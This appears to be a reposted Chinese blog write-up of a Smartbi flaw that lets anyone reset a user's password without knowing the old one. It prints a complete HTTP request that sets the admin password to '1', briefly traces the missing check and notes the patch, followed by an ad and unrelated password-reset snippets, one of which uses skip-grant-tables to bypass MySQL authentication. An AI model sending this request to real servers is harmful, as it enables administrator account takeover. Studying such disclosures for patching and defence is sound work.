Smartbi 修改用户密码漏洞

这篇具有很好参考价值的文章主要介绍了Smartbi 修改用户密码漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

漏洞简介

通过查看 Smartbi 的补丁包信息,发现存在漏洞在某种特定情况下修改用户的密码,进行简单的复现和分析

漏洞复现

在页面上修改密码时,需要知道原本的用户对应的密码

直接构造这样的数据包,就不需要知道原本的密码,知道用户名就可以修改密码

POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 192.168.222.133:18080
Content-Length: 73
Cache-Control: max-age=0
If-Modified-Since: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Origin: http://192.168.222.133:18080
Referer: http://192.168.222.133:18080/smartbi/vision/index.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=4A4AC06EC1DF3CDDC45239C211926FA1
Connection: close
​
className=UserService&methodName=changePasswordEx&params=["admin","","1"]

​​​

漏洞分析

smartbi.usermanager.ILocalUserManagerModule#changePasswordEx

smartbi.usermanager.UserManagerModule#changePasswordEx

 文章来源地址https://www.toymoban.com/news/detail-649153.html

修改密码的操作虽然获取了用户名 原本的密码 修改后的新密码,但是对原本的密码并没有做任何校验处理

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

userId 是根据传入的用户名查询到的

smartbi.usermanager.UserManagerModule#updateUserEx

smartbi.usermanager.UserManagerModule#updateUserExtend

漏洞修复

上传补丁包后再发送数据包,发现被拦截

匹配到对应的类名和方法就结束执行

更多网安技能的在线实操练习,请点击这里>>

 

到了这里,关于Smartbi 修改用户密码漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Mysql—修改用户密码(重置密码)

    1、登录mysql 1 2 [root@localhost ~] # mysql -uroot -p123456 [root@localhost ~] # mysql -hlocalhost -uroot -p123456 如果忘记密码,则跳过MySQL的密码认证过程。步骤如下: 修改Mysql配置文件:vi /etc/my.cnf(注:windows下修改的是my.ini)。在[mysqld]后面任意一行添加“skip-grant-tables”用来跳过密码验证的过程

    2024年02月12日
    浏览(53)
  • Linux 用户账号管理-修改用户密码

    Linux 用户账号管理是运维人员必须要掌握的技能之一。其中,修改用户密码是比较常见的操作,本文将介绍在 Linux 系统中修改用户密码的方法,包括语法、实操和各种修改用户密码方法之间的区别。 在 Linux 中,修改用户密码的命令为 passwd ,其使用方法为: 其中,超级用户

    2024年02月14日
    浏览(39)
  • ubuntu修改用户名和用户密码

    1.修改passwd文件 2.修改shadow文件 3.修改home目录下文件夹名 4.修改sudo权限(修改group用户组) 5.修改用户密码 sudo passwd username #修改用户密码 //username是用户设置用户名,记得替换 sudo passwd root #修改root密码

    2024年02月09日
    浏览(58)
  • 修改用户密码

    假设你要为用户名为\\\'username\\\'@\\\'localhost\\\'的用户设置新密码,你可以这样做: 其中,username 是用户名,localhost 是主机名, 123456是要更改的新密码。 使用 SET 语句来修改普通用户密码,语法格式如下: 注意:新密码要使用 PASSWORD() 函数来加密,如果不使用 PASSWORD() 加密,也会执

    2024年02月04日
    浏览(32)
  • mysql修改登录用户的密码

    1.如果是使用docker里装的mysql 首先使用 [root@localhost /]# docker ps #查看当前正在运行的容器,也会展示容器的id [root@localhost /]# docker exec -it 容器id /bin/bash root@b46d2c5dcd13:/# mysql -u root -p密码 mysqlupdate user set authentication_string = ‘新密码’ where user = ‘‘root’’; mysqlflush privileges; #退

    2024年02月08日
    浏览(41)
  • Oracle用户密码过期,修改永不过期

    修改密码有效过期时间,可以通过以下四步设置, 如果再第一步发现本身的密码过期时间为无限期的 ,那就请各位小伙伴绕过, 如果发现不是无期限的 ,那么 必须设置第四步 ,才会生效。 目录 第一步:查询密码有效时长 第二步:查看当前用户密码到期日期   第三步:

    2024年02月13日
    浏览(47)
  • ubuntu修改用户名和密码

    1、设置root用户密码 终端显示 :Enter new UNIX password: 连续两次输入密码即可; 最后显示:passwd: password updated successfully 进入root用户,下面的操作一定要在root权限下进行,放置用户名和密码不一致; 2、修改用户密码 根据提示修改即可; 修改用户名,三步操作均为改成自己的

    2024年02月09日
    浏览(42)
  • Weblogic控制台用户密码修改

    1、在浏览器输入:http://ip:7001/console,打开之后输入用户名和密码,登录到weblogic控制台,并按下面执行:  2、登录进来之后点击安全领域-myrealm  3、找到用户和组-选择weblogic用户 4、点击口令,并输入新的密码之后点击保存 在weblogic控制台页面改了密码之后,还需要登录服务

    2024年02月05日
    浏览(55)
  • Linux系统修改 root 用户密码

    第 1 步 重启系统,在下图所示界面按 e 键    第2步:找到 linux这行,末尾输入 空格 rd.break 然后按 ctrl+x 第3步: 查看可选步骤              输入:mount | grep sysroot  这里sysroot是以ro只读的形式挂载的,所以要以可读可写的方式来挂载 第4步:以读写方式挂载 /sysroot      

    2023年04月27日
    浏览(51)
  • ES修改用户名和密码

    修改config目录下面的elasticsearch.yml文件,在里面添加如下内容,并重启es. 执行 elasticsearch-setup-passwords interactive 设置用户名和密码的命令,为以下几个用户分别设置密码,elastic,apm_system,kibana,kibana_system,logstash_system,beats_system,remote_monitoring_user.

    2024年02月11日
    浏览(54)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包